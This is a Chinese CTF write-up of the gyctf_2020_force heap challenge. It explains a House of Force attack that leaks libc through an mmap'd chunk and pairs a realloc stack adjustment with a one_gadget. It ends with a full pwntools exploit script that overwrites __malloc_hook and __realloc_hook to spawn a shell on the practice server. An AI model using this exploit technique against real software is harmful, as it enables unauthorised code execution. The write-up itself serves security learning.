Loading... 报以复习的形态做了一下这道HOF裸题,结果还是学到了新知识,蛮好蛮好 HOF不想多说了,毕竟是挺简单的一种利用,[此题](https://www.cjovi.icu/WP/1018.html)中有谈及。 ### leak 每一个chunk的地址都是直接告诉我们的,但是程序可以说没有输出功能,通过以往的办法leak libc base不甚容易,但是我们可以利用mmap的chunk的特性来获取libc base,申请一个较大的chunk,此时由于top chunk等处都无法分配,就会通过mmap映射内存来分配,而内存的地址和libc的基地址的偏移是固定的,所以我们就可以调试获取偏移并算出libc base <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/313739386.png "></div> 可见申请一个大小为0x200000chunk是,便会mmap一个从0x7ffff784b000开始大小为0x201000的内存段,且紧挨着libc,这样就可以算出libc base了(开始的时候我尝试使用1000000做为大小,发现似乎不行,可能还是不够大) ### one_gadget one_gadget是挺方便的,但是有些时候由于栈帧的一些原因无法使用,在这里我们可以考虑通过`realloc`来调整 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/154816977.png "></div> 可见`realloc`开始的时候会调用许多的push,然后`rsp-0x38`,一般来讲one_gadget失效有许多原因,这边乱调调就可能可以调出来。同时注意`rsp`减完之后`realloc`会调用`__realloc_hook`。 所以我们的做法就是劫持`__malloc_hook`为`realloc+0x10`,并劫持`__realloc_hook`为one_gadget,就可以get shell了。 运气比较好的是 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/616166677.png "></div> 两个钩子是在一起的,所以我们在算offset的时候应该是减0x30,其中0x10处理对齐的运算,0x20是的返回的指针指向`&__malloc_hook - 0x10`,然后我们就可以对两个钩子一起修改了。 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') #sh = process("./gyctf_2020_force") sh = remote("node3.buuoj.cn",29789) libc = ELF("./libcs/buu-64-libc.so") sh.sendlineafter("2:puts\n","1") sh.sendlineafter("size\n",str(0x200000)) sh.recvuntil("addr ") mmaped_addr = int(sh.recvuntil("\n",drop = True),base = 16) log.success("mmaped_addr:" + hex(mmaped_addr)) libc_base = mmaped_addr + 0x200ff0 log.success("libc_base:" + hex(libc_base)) sh.sendlineafter("content\n","index:0") sh.sendlineafter("2:puts\n","1") sh.sendlineafter("size\n","16") sh.recvuntil("addr ") top_last_addr = int(sh.recvuntil("\n",drop = True),base = 16) - 0x10 top_addr = top_last_addr + 0x10 + 0x10 log.success("top_addr:" + hex(top_addr)) sh.sendafter("content\n",'a' * 16 + p64(0) + p64(0xffffffffffffffff)) offset = libc_base + libc.symbols["__malloc_hook"] - top_addr - 0x10 - 0x20 log.success((offset)) one_gadget = libc_base + 0x4526a realloc_addr = libc_base + libc.symbols["__libc_realloc"] sh.sendlineafter("2:puts\n","1") sh.sendlineafter("size\n",str(offset)) sh.sendlineafter("content\n","") sh.sendlineafter("2:puts\n","1") sh.sendlineafter("size\n","16") sh.sendlineafter("content\n",'a' * 8 + p64(one_gadget) + p64(realloc_addr + 0x10)) sh.sendlineafter("2:puts\n","1") sh.sendlineafter("size\n","16") sh.interactive() ``` 最后修改:2021 年 06 月 05 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧